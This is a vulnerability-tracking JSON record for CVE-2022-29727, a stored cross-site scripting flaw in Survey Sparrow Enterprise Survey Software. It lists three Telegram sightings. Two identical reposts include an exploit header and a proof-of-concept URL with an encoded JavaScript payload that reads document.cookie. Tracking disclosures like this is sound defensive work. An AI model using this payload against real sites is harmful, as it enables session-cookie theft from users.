{"vulnerability": "CVE-2022-29727", "sightings": [{"uuid": "887427eb-f4af-471a-9304-50abac0b72e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-29727", "type": "seen", "source": "https://t.me/cibsecurity/42342", "content": "\u203c CVE-2022-29727 \u203c\n\nSurvey Sparrow Enterprise Survey Software 2022 has a Stored cross-site scripting (XSS) vulnerability in the Signup parameter.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-05-11T16:34:10.000000Z"}, {"uuid": "a090a7b5-9659-4124-9f25-f6024cd73afc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-29727", "type": "seen", "source": "https://t.me/hacking_Attack/53784", "content": "Exploit Collector\nSurvey Sparrow Enterprise Survey Software 2022 Cross Site Scripting\n\nhttps://1.bp.blogspot.com/-9u0QXe9ybeo/WWlvU_DnejI/AAAAAAAAIN0/BUl-HrIsuwE3sKywG67Nuv_wLRABID6oQCLcBGAs/s1600/h45.png \nSurvey Sparrow Enterprise Survey Software 2022 suffers from a persistent cross site scripting vulnerability.\n\nSHA-256 | afd7b7d6dc71690c8e9b74e168637e22184d16b38d583b0e4f0fc7f27fe83aad\n\nDownload\n# Exploit Title: Survey Sparrow Enterprise Survey Software 2022 - Stored Cross-Site Scripting (XSS)\n# Date: May 11 2022\n# Exploit Author: Pankaj Kumar Thakur\n# Vendor Homepage: https://surveysparrow.com/\n# Software Link: https://surveysparrow.com/enterprise-survey-software/\n# Version: 2022\n# Tested on: Windows\n# CVE : CVE-2022-29727\n# References:\nhttps://www.tenable.com/cve/CVE-2022-29727\nhttps://github.com/haxpunk1337/Enterprise-Survey-Software/blob/main/Enterprise-Survey-Software%202022\n\n#POC\n\nFor Stored XSS\n\nVisit\nhttps://LOCALHOST/login?test=Javascript%26colon;%252F%252F%E2%80%A9confirm?.(document.cookie)//\n\nXSS Executed\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:39.513427Z"}, {"uuid": "7a85dab0-41d1-42d9-956e-867fd4ba2906", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-29727", "type": "seen", "source": "https://t.me/hacking_Attack/53784", "content": "Exploit Collector\nSurvey Sparrow Enterprise Survey Software 2022 Cross Site Scripting\n\nhttps://1.bp.blogspot.com/-9u0QXe9ybeo/WWlvU_DnejI/AAAAAAAAIN0/BUl-HrIsuwE3sKywG67Nuv_wLRABID6oQCLcBGAs/s1600/h45.png \nSurvey Sparrow Enterprise Survey Software 2022 suffers from a persistent cross site scripting vulnerability.\n\nSHA-256 | afd7b7d6dc71690c8e9b74e168637e22184d16b38d583b0e4f0fc7f27fe83aad\n\nDownload\n# Exploit Title: Survey Sparrow Enterprise Survey Software 2022 - Stored Cross-Site Scripting (XSS)\n# Date: May 11 2022\n# Exploit Author: Pankaj Kumar Thakur\n# Vendor Homepage: https://surveysparrow.com/\n# Software Link: https://surveysparrow.com/enterprise-survey-software/\n# Version: 2022\n# Tested on: Windows\n# CVE : CVE-2022-29727\n# References:\nhttps://www.tenable.com/cve/CVE-2022-29727\nhttps://github.com/haxpunk1337/Enterprise-Survey-Software/blob/main/Enterprise-Survey-Software%202022\n\n#POC\n\nFor Stored XSS\n\nVisit\nhttps://LOCALHOST/login?test=Javascript%26colon;%252F%252F%E2%80%A9confirm?.(document.cookie)//\n\nXSS Executed\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:49.253190Z"}]}